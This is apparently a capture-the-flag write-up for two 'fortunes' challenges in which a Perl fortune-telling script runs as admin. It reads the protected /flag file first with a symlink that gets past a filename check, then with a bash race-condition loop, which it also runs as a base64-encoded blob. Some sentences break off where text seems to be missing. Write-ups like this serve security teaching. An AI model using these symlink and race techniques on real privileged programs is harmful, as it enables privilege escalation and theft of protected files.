We start by connecting to the provided server:
socat -,raw,echo=0 tcp:fortunes.2023-bq.ctfcompetition.com:1337
Inside our home directory, we find a file called
Welcome to your shell! (now with Fortunes)
This indicates that there is some kind of fortune telling program available. Using
#!/bin/env perl
__
;" _| ___ _ __| |_ _ _ _ __ ___
| |_ / _ \| ;__| __| | | | ;_ \ / _ \
| _| (_) | | | |_| |_| | | | | __/
|_| \___/|_| \__|\__,_|_| |_ \___"
;_;$;=$+;_;;
_;$;{ ex
=> 3}=
cut3 ;;;
; _;
$% {__C
=>0}=mm3Nt; ; ; ;_;();
; ; ;
; ; ;
; ; ;
;;;;; ; ;;;;
# F L A G {
# ;print%;; ##
# ;print%%; #}
;___; ;___;
;__________________________;
use warnings;
use strict;
use Cwd 'abs_path';
my $fortuneFile = shift or die("Usage: $0 <fortune_file>\n\n Example: $0 /etc/time_fortunes.txt\n\n");
if (not $fortuneFile =~ /.*fortune.*/) {
die("$fortuneFile does not look like a fortune file. Quitting.");
}
my $line;
open(FH, '<', $fortuneFile) or die $!;
srand;
rand($.) < 1 && ($line = $_) while <FH>;
close(FH);
print $line;
We notice the
;_;$;=$+;_;;
_;$;{ ex
=> 3}=
cut3 ;;;
; _;
$% {__C
=>0}=mm3Nt; ; ; ;_;();
; ; ;
; ; ;
; ; ;
;;;;; ; ;;;;
;print%;;
;print%%;
;___; ;___;
;__________________________;
Don't forget to add the
Again, we start by connecting to the provided server:
`socat -,raw,echo=0 tcp:fortunes.2023-bq.ctfcompetition.com:1337`
using
The fortune_teller script runs as admin and outputs a random line from a file. We can use this to read files we normally wouldn't have access to. We can use this to read the
fortune_teller /home/admin/time_fortunes.txt
But we can't read
if (not $fortuneFile =~ /.*fortune.*/) {
die("$fortuneFile does not look like a fortune file. Quitting.");
}
However, we can bypass this by creating a symlink inside the ´tmp´ directory and then reading the symlink file.
ln -s /flag /tmp/fortune
fortune_teller /tmp/fortune
We receive the flag
We start by connecting to the provided server:
`socat -,raw,echo=0 tcp:fortunes-hardened.2023-bq.ctfcompetition.com:1337`
Unfortunately, they patched the previous vulnerability.
# Check that there is no symlink trickery involved
my $resolvedFortuneFile = abs_path($fortuneFile);
if (not $resolvedFortuneFile =~ /.*fortune.*/) {
die("$fortuneFile does not point to something that looks like a fortune file. Quitting.");
}
This is a race condition, we can create a normal file and then change it to symlink after the script checks the file.
We will use the following script to create the symlink and read the flag:
#!/bin/bash
for i in {1..1000}
do
rm "/tmp/fortune"
echo "Quitting" > "/tmp/fortune"
/usr/bin/fortune_teller "/tmp/fortune" & ln -sf "/flag" "/tmp/fortune"
done
To execute the script, we can base64 encode it and run it on the server and then grep the output for the flag:
echo IyEvYmluL2Jhc2gKCmZvciBpIGluIHsxLi4xMDAwfQpkbwogICAgcm0gIi90bXAvZm9ydHVuZSIKICAgIGVjaG8gIlF1aXR0aW5nIiA+ICIvdG1wL2ZvcnR1bmUiCiAgICAvdXNyL2Jpbi9mb3J0dW5lX3RlbGxlciAiL3RtcC9mb3J0dW5lIiAmIGxuIC1zZiAiL2ZsYWciICIvdG1wL2ZvcnR1bmUiCmRvbmU= | base64 -d > /tmp/exploit.sh && chmod +x /tmp/exploit.sh && /tmp/exploit.sh 2>&1 | grep -v Quitting | grep -v null | grep -v uninitialized | grep -v "No such file"
FLAG{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}